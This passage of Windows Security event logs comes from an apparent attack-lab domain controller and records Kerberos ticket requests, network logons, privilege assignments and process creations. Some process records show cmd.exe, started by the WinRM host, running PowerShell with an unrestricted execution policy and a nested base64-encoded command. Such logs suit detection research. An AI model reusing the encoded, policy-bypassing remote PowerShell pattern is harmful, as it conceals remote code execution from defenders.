QBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253419
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1AF91F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdb0
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x133c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253418
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1AFEED

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253417
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1AFEED
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{D3D716DE-A45A-CF27-0648-26F1CEADD5DC}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253416
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{D3D716DE-A45A-CF27-0648-26F1CEADD5DC}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253415
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{D3D716DE-A45A-CF27-0648-26F1CEADD5DC}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253414
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253413
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1AF91F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1148
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x133c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253412
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1AF91F

Process Information:
	New Process ID:		0x133c
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253411
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1AF91F

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253410
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1AF91F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{D3D716DE-A45A-CF27-0648-26F1CEADD5DC}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253409
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{D3D716DE-A45A-CF27-0648-26F1CEADD5DC}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253408
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{D3D716DE-A45A-CF27-0648-26F1CEADD5DC}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253407
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253406
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1AF720

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253405
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1A4EEB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253404
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1A596A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253403
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1AF720

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253402
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1AF720
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{D3D716DE-A45A-CF27-0648-26F1CEADD5DC}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253401
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{D3D716DE-A45A-CF27-0648-26F1CEADD5DC}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253400
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{D3D716DE-A45A-CF27-0648-26F1CEADD5DC}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
